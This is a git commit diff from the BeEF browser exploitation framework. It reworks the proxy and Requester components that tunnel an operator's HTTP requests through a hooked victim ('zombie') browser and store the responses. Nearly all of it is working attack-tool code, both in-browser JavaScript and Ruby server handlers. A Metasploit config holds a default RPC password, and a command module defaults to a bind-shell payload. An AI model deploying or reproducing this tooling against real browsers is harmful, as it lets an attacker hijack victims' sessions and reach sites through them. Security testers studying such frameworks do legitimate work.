Proxy and Requester enhancements. Proxy got a good performance improvement, it's now multi-thread, able to handle errors, can be used with a normal browser. Requester core (ruby/js) has been enhanced too: db model, js logic and parsing code. Many previous bugs in different parts have been corrected.

git-svn-id: https://beef.googlecode.com/svn/trunk@1027 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
antisnatchor
2011-06-26 18:03:53 +00:00
parent a8c833fcfd
commit 6af4f673d3
14 changed files with 233 additions and 190 deletions

View File

@@ -20,7 +20,6 @@ beef.net = {
this.results = null;
this.handler = null;
this.callback = null;
this.results = null;
},
//Packet object
@@ -49,6 +48,7 @@ beef.net = {
*/
response: function() {
this.status_code = null; // 500, 404, 200, 302
this.status_text = null; // success, timeout, error, ...
this.response_body = null; // "<html>…." if not a cross domain request
this.port_status = null; // tcp port is open, closed or not http
this.was_cross_domain = null; // true or false
@@ -128,7 +128,7 @@ beef.net = {
* @param: {String} data: This will be used as the query string for a GET or post data for a POST
* @param: {Int} timeout: timeout the request after N seconds
* @param: {String} dataType: specify the data return type expected (ie text/html/script)
* @param: {Funtion} callback: call the callback function at the completion of the method
* @param: {Function} callback: call the callback function at the completion of the method
*
* @return: {Object} response: this object contains the response details
*/
@@ -147,13 +147,32 @@ beef.net = {
response.was_cross_domain = cross_domain;
var start_time = new Date().getTime();
//build and execute request
//configure the ajax object for dataType
if(dataType == null){
/*
* For Cross-Domain XHR always use dataType: script,
* otherwise even if the HTTP resp is 200, jQuery.ajax will always launch the error() event
*/
if(cross_domain){
$j.ajaxSetup({
dataType: 'script'
});
}
// if the request is not crossdomain, let jQuery infer the dataType based on the MIME type of the response
}else{
//if the dataType is explicitly set, let use it
$j.ajaxSetup({
dataType: dataType
});
}
//build and execute the request
$j.ajax({type: method,
/*
* For Cross-Domain XHR always use dataType: script,
* otherwise even if the HTTP resp is 200, jQuery.ajax will always launch the error() event
*/
dataType: dataType,
//dataType: dataType,
url: url,
data: data,
timeout: (timeout * 1000),
@@ -181,6 +200,97 @@ beef.net = {
return response;
},
/*
* Similar to this.request, except from a few things that are needed when dealing with proxy requests:
* - requestid parameter: needed on the callback,
* - crossdomain checks: if crossdomain requests are tunneled through the proxy, they must be not issued because
* they will always throw error for SoP. This can happen when tunneling a browser: for example
* Firefox and Chrome automatically requests /safebrowsing/downloads (XHR)
*/
proxyrequest: function(scheme, method, domain, port, path, anchor, data, timeout, dataType, requestid, callback) {
//check if same domain or cross domain
cross_domain = !((document.domain == domain) && ((document.location.port == port) || (document.location.port == "" && port == "80")));
//build the url
var url = scheme+"://"+domain;
url = (port != null) ? url+":"+port : url;
url = (path != null) ? url+path : url;
url = (anchor != null) ? url+"#"+anchor : url;
//define response object
var response = new this.response;
response.was_cross_domain = cross_domain;
// if the request is crossdomain, don't proceed and return
if (cross_domain && callback != null) {
response.status_code = -1;
response.status_text = "crossdomain";
response.response_body = "ERROR: Cross Domain Request";
callback(response, requestid);
return response;
}
var start_time = new Date().getTime();
//configure the ajax object for dataType
if(dataType == null){
/*
* For Cross-Domain XHR always use dataType: script,
* otherwise even if the HTTP resp is 200, jQuery.ajax will always launch the error() event
*/
if(cross_domain){
$j.ajaxSetup({
dataType: 'script'
});
}
// if the request is not crossdomain, let jQuery infer the dataType based on the MIME type of the response
}else{
//if the dataType is explicitly set, let use it
$j.ajaxSetup({
dataType: dataType
});
}
//build and execute the request
$j.ajax({type: method,
//dataType: dataType,
url: url,
data: data,
timeout: (timeout * 1000),
//function on success
success: function(data, textStatus, xhr){
var end_time = new Date().getTime();
response.status_code = xhr.status;
response.status_text = textStatus;
response.response_body = data;
response.port_status = "open";
response.was_timedout = false;
response.duration = (end_time - start_time);
},
//function on failure
error: function(xhr, textStatus, errorThrown){
var end_time = new Date().getTime();
if (textStatus == "timeout"){response.was_timedout = true;}
response.status_code = xhr.status;
response.status_text = textStatus;
response.duration = (end_time - start_time);
},
//function on completion
complete: function(xhr, textStatus) {
response.status_code = xhr.status;
response.status_text = textStatus;
callback(response, requestid);
}
});
return response;
},
//this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
//http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
clean: function(r) {

View File

@@ -15,10 +15,16 @@ beef.net.requester = {
send: function(requests_array) {
for (i in requests_array) {
request = requests_array[i];
beef.net.request('http', request.method, request.host, request.port, request.uri, null, null, 10, 'HTML', function(res) { beef.net.send('/requester', request.id, res.response_body); });
beef.net.proxyrequest('http', request.method, request.host, request.port,
request.uri, null, null, 10, null, request.id,
function(res, requestid) { beef.net.send('/requester', requestid, {
response_data:res.response_body,
response_status_code: res.status_code,
response_status_text: res.status_text});
}
);
}
}
}
};
beef.regCmp('beef.net.requester');
beef.regCmp('beef.net.requester');

View File

@@ -71,7 +71,7 @@ class Requester < BeEF::Extension::AdminUI::HttpController
:method => request.request_method,
:domain => request.host,
:path => request.unparsed_uri,
:date => Time.now,
:request_date => Time.now,
:hooked_browser_id => zombie.id
)
@@ -106,7 +106,10 @@ class Requester < BeEF::Extension::AdminUI::HttpController
'domain' => http.domain,
'path' => http.path,
'has_ran' => http.has_ran,
'date' => http.date
'request_date' => http.request_date,
'response_date' => http.response_date,
'response_status_code' => http.response_status_code,
'response_status_text' => http.response_status_text
}
}
@@ -131,10 +134,10 @@ class Requester < BeEF::Extension::AdminUI::HttpController
res = {
'id' => http_db.id,
'request' => http_db.request,
'response' => http_db.response,
'response' => http_db.response_data,
'domain' => http_db.domain,
'path' => http_db.path,
'date' => http_db.date,
'date' => http_db.request_date,
'has_ran' => http_db.has_ran
}

View File

@@ -29,8 +29,8 @@ ZombieTab_Requester = function(zombie) {
autoLoad: false,
root: 'history',
fields: ['domain', 'date', 'id', 'has_ran', 'path'],
sortInfo: {field: 'date', direction: 'DESC'},
fields: ['domain', 'request_date', 'response_date','id', 'has_ran', 'path','response_status_code', 'response_status_text'],
sortInfo: {field: 'request_date', direction: 'DESC'},
baseParams: {
nonce: Ext.get("nonce").dom.value,
@@ -67,10 +67,14 @@ ZombieTab_Requester = function(zombie) {
columns: [
{header: 'id', width: 10, sortable: true, dataIndex: 'id', hidden: true},
{header: 'domain', sortable: true, dataIndex: 'domain'},
{header: 'path', sortable: true, dataIndex: 'path'},
{header: 'response', width: 20, sortable: true, dataIndex: 'has_ran'},
{header: 'date', width: 50, sortable: true, dataIndex: 'date'}
{header: 'Domain', sortable: true, dataIndex: 'domain'},
{header: 'Path', sortable: true, dataIndex: 'path'},
{header: 'Res Code', width: 35, sortable: true, dataIndex: 'response_status_code'},
{header: 'Res TextCode', width: 35, sortable: true, dataIndex: 'response_status_text'},
{header: 'Processed', width: 30, sortable: true, dataIndex: 'has_ran'},
{header: 'Req Date', width: 50, sortable: true, dataIndex: 'request_date'},
{header: 'Res Date', width: 50, sortable: true, dataIndex: 'response_date'}
],
listeners: {

View File

@@ -7,10 +7,10 @@
beef:
extension:
metasploit:
enable: true
host: "10.211.55.2"
enable: false
host: "192.168.10.128"
path: "/RPC2"
port: 55553
user: "msf"
pass: "abc123"
callback_host: "10.211.55.2"
callback_host: "192.168.10.128"

View File

@@ -115,8 +115,8 @@ module Commands
payloads.each { |p|
pl << [p]
}
}
@info['Data'] << { 'name' => 'PAYLOAD',
'type' => 'combobox',
'anchor' => '95% -100',
@@ -130,6 +130,7 @@ module Commands
'mode' => 'local',
'reloadOnChange' => true, # reload payloads
'defaultPayload' => "generic/shell_bind_tcp", # default combobox value
'defaultPayload' => "generic/shell_bind_tcp",
'emptyText' => "select a payload..."
}

View File

@@ -5,10 +5,8 @@ module Proxy
extend BeEF::API::Extension
@short_name = 'proxy'
@full_name = 'proxy'
@description = 'allows proxy communication with a zombie'
@description = 'The proxy allow to tunnel HTTP requests to the hooked domain through the victim browser'
end
end
@@ -18,7 +16,7 @@ require 'webrick/httpproxy'
require 'webrick/httputils'
require 'webrick/httprequest'
require 'webrick/httpresponse'
require 'extensions/proxy/models/http'
require 'extensions/requester/models/http'
require 'extensions/proxy/base'
require 'extensions/proxy/zombie'
require 'extensions/proxy/api'

View File

@@ -3,25 +3,18 @@ module Extension
module Proxy
module Handlers
module Zombie
module Handler
# Variable representing the Http DB model.
class Handler
attr_reader :guard
@response_body = nil
H = BeEF::Core::Models::Http
# This function will forward requests to the target and
# the browser will perform the request. Then the results
# will be sent back to use
# will be sent back.
def forward_request(hooked_browser_id, req, res)
# Generate an id for the req in the http table and check it doesnt already exist
http_id = rand(10000)
http_db = H.first(:id => http_id) || nil
while !http_db.nil?
http_id = rand(10000)
http_db = H.first(:id => http_id) || nil
end
# Append port to domain string if not 80 or 443
if req.port != 80 or req.port != 443
domain = req.host.to_s + ':' + req.port.to_s
@@ -29,39 +22,37 @@ module Zombie
domain = req.host.to_s
end
# Saves the new HTTP request to the db for processing by browser
# Saves the new HTTP request to the db for processing by browser.
# IDs are created and incremented automatically by DataMapper.
http = H.new(
:id => http_id,
:request => req,
:method => req.request_method.to_s,
:domain => domain,
:path => req.path.to_s,
:date => Time.now,
:request_date => Time.now,
:hooked_browser_id => hooked_browser_id
)
http.save
print_debug "[PROXY] Request #" + http_id.to_s + " to " + domain + req.path.to_s + " added to queue for browser id #" + hooked_browser_id.to_s
# Polls the DB for the response and then sets it when present
http_db = H.first(:id => http_id)
# Starts a new thread scoped to this Handler instance, in order to minimize performance degradation
# while waiting for the HTTP response to be stored in the db.
print_info("[PROXY] Thread started in order to process request ##{http.id} to [#{req.path.to_s}] on domain [#{domain}]")
@response_thread = Thread.new do
while !H.first(:id => http.id).has_ran
sleep 0.5
end
@response_body = H.first(:id => http.id).response_data
while !http_db.has_ran
http_db = H.first(:id => http_id)
end
print_debug "[PROXY] Response to request #" + http_id.to_s + " to " + req.host.to_s + req.path.to_s + " using browser id #" + hooked_browser_id.to_s + " recieved"
res.body = http_db.response
res
@response_thread.join
print_info("[PROXY] Response for request ##{http.id} to [#{req.path.to_s}] on domain [#{domain}] correctly processed")
res.body = @response_body
end
module_function :forward_request
end
end
end
end

View File

@@ -1,66 +0,0 @@
module BeEF
module Core
module Models
#
# Table stores the http requests and responses from the requester.
#
class Http
include DataMapper::Resource
storage_names[:default] = 'extension.requester.http'
property :id, Serial
#
# The hooked browser id
#
property :hooked_browser_id, Text, :lazy => false
#
# The http request to perform. In clear text.
#
property :request, Text, :lazy => true
#
# The http response received. In clear text.
#
property :response, Text, :lazy => true
#
# The http response method. GET or POST.
#
property :method, Text, :lazy => false
#
# The content length for the request.
#
property :content_length, Text, :lazy => false, :default => 0
#
# The domain on which perform the request.
#
property :domain, Text, :lazy => false
#
# The path of the request.
#
# Example: /secret.html
#
property :path, Text, :lazy => false
#
# The date at which the http request has been saved.
#
property :date, DateTime, :lazy => false
#
# Boolean value to say if the http response has been received or not.
#
property :has_ran, Boolean, :default => false
end
end
end
end

View File

@@ -4,20 +4,15 @@ module Proxy
class HttpProxyZombie < BeEF::Extension::Proxy::HttpProxyBase
attr_accessor :proxy_zombie_id
HB = BeEF::Core::Models::HookedBrowser
def initialize
@configuration = BeEF::Core::Configuration.instance
@config = {}
@config[:BindAddress] = @configuration.get('beef.extension.proxy.address')
@config[:Port] = @configuration.get('beef.extension.proxy.port')
@config[:ServerName] = "BeEF " + @configuration.get('beef.version')
@config[:ServerSoftware] = "BeEF " + @configuration.get('beef.version')
proxy_zombie_id = nil
super
end
@@ -25,17 +20,17 @@ module Proxy
proxy_browser = HB.first(:is_proxy => true)
if(proxy_browser != nil)
proxy_browser_id = proxy_browser.id.to_s
print_debug "[PROXY] Current proxy browser id is #" + proxy_browser_id
#print_debug "[PROXY] Current proxy browser id is #" + proxy_browser_id
else
proxy_zombie_id = 1
print_debug "[PROXY] Proxy browser not set so defaulting to browser id #1"
proxy_browser_id = 1
print_debug "[PROXY] Proxy browser not set. Defaulting to browser id #1"
end
# blocking request
res = BeEF::Extension::Proxy::Handlers::Zombie::Handler.forward_request(proxy_zombie_id, req, res)
forwarder = BeEF::Extension::Proxy::Handlers::Zombie::Handler.new
res = forwarder.forward_request(proxy_browser_id, req, res)
res
# remove beef hook if it exists
remove_hook(res)
#remove_hook(res)
end
end

View File

@@ -20,7 +20,7 @@ module Requester
extend BeEF::API::Server::Hook
def self.pre_hook_send(hooked_browser, body, params, request, response)
dhook = BeEF::Extension::Requester::API::Hook.new
dhook = BeEF::Extension::Requester::API::Hook.new
dhook.requester_run(hooked_browser, body)
end

View File

@@ -8,7 +8,8 @@ module API
# That module is dependent on 'Common'. Hence to use it,
# your code also needs to include that module.
#
class Hook
require 'uri'
class Hook
include BeEF::Core::Handlers::Modules::BeEFJS
@@ -22,11 +23,13 @@ module API
BeEF::Core::Models::Http.all(:hooked_browser_id => hb.id, :has_ran => false).each {|h|
output << self.requester_parse_db_request(h)
}
# we stop here of our output in empty, that means they aren't any requests to send
# stop here of our output in empty, that means there aren't any requests to send
return if output.empty?
#print_debug("[REQUESTER] Sending request(s): #{output.to_json}")
# we build the beefjs requester component
# build the beefjs requester component
build_missing_beefjs_components 'beef.net.requester'
# we send the command to perform the requests to the hooked browser
@@ -38,7 +41,6 @@ module API
});
}
end
#
# Converts a HTTP DB Object into a BeEF JS command that
@@ -74,7 +76,8 @@ module API
return
end
end
uri = req.unparsed_uri
# creating the request object
http_request_object = {
'id' => http_db_object.id,
@@ -82,12 +85,11 @@ module API
'host' => req.host,
'port' => req.port,
'params' => params,
'uri' => req.unparsed_uri,
'uri' => URI.parse(uri).path,
'headers' => {}
}
req.header.keys.each{|key| http_request_object['headers'][key] = req.header[key]}
http_request_object
end

View File

@@ -6,7 +6,6 @@ module Requester
# The http handler that manages the Requester.
#
class Handler < WEBrick::HTTPServlet::AbstractServlet
attr_reader :guard
H = BeEF::Core::Models::Http
@@ -23,35 +22,42 @@ module Requester
end
def setup()
# validates the hook token
beef_hook = @data['beefhook'] || nil
raise WEBrick::HTTPStatus::BadRequest, "beef_hook is null" if beef_hook.nil?
raise WEBrick::HTTPStatus::BadRequest, "beefhook is null" if beef_hook.nil?
# validates the request id
request_id = @data['cid'] || nil
raise WEBrick::HTTPStatus::BadRequest, "request_id is null" if request_id.nil?
raise WEBrick::HTTPStatus::BadRequest, "Original request id (command id) is null" if request_id.nil?
# validates that a hooked browser with the beef_hook token exists in the db
zombie_db = Z.first(:session => beef_hook) || nil
raise WEBrick::HTTPStatus::BadRequest, "Invalid beef hook id: the hooked browser cannot be found in the database" if zombie_db.nil?
raise WEBrick::HTTPStatus::BadRequest, "Invalid beefhook id: the hooked browser cannot be found in the database" if zombie_db.nil?
# validates that we have such a http request saved in the db
http_db = H.first(:id => request_id.to_i, :hooked_browser_id => zombie_db.id) || nil
#print_debug("[REQUESTER] BeEF::Extension::Requester::Handler -> Searching for request id [#{request_id.to_i}] of zombie id [#{zombie_db.id}]")
raise WEBrick::HTTPStatus::BadRequest, "Invalid http_db: no such request found in the database" if http_db.nil?
# validates that the http request has not be ran before
raise WEBrick::HTTPStatus::BadRequest, "This http request has been saved before" if http_db.has_ran.eql? true
# validates the body
body = @data['results'] || nil
raise WEBrick::HTTPStatus::BadRequest, "body is null" if body.nil?
# validates the response code
response_code = @data['results']['response_status_code'] || nil
raise WEBrick::HTTPStatus::BadRequest, "Http response code is null" if response_code.nil?
#print_debug("[PROXY] Saving response with response code [#{@data['results']['response_status_code']}] - response body [#{@data['results']['response_data']}]")
# save the results in the database
http_db.response = body
http_db.response_status_code = @data['results']['response_status_code']
http_db.response_status_text = @data['results']['response_status_text']
http_db.response_data = @data['results']['response_data']
http_db.response_date = Time.now
http_db.has_ran = true
http_db.save
end
end

View File

@@ -12,51 +12,44 @@ module Models
property :id, Serial
#
# The hooked browser id
#
property :hooked_browser_id, Text, :lazy => false
property :hooked_browser_id, Text, :lazy => false
#
# The http request to perform. In clear text.
#
property :request, Text, :lazy => true
#
# The http response received. In clear text.
#
property :response, Text, :lazy => true
#
# The http response body received. In clear text.
property :response_data, Text, :lazy => true
# The http response code. Useful to handle cases like 404, 500, 302, ...
property :response_status_code, Integer, :lazy => true
# The http response code. Human-readable code: success, error, ecc..
property :response_status_text, Text, :lazy => true
# The http response method. GET or POST.
#
property :method, Text, :lazy => false
#
# The content length for the request.
#
property :content_length, Text, :lazy => false, :default => 0
#
# The domain on which perform the request.
#
property :domain, Text, :lazy => false
#
# Boolean value to say if the request was cross-domain
property :has_ran, Boolean, :default => false
# The path of the request.
#
# Example: /secret.html
#
property :path, Text, :lazy => false
#
# The date at which the http response has been saved.
property :response_date, DateTime, :lazy => false
# The date at which the http request has been saved.
#
property :date, DateTime, :lazy => false
#
property :request_date, DateTime, :lazy => false
# Boolean value to say if the http response has been received or not.
#
property :has_ran, Boolean, :default => false
end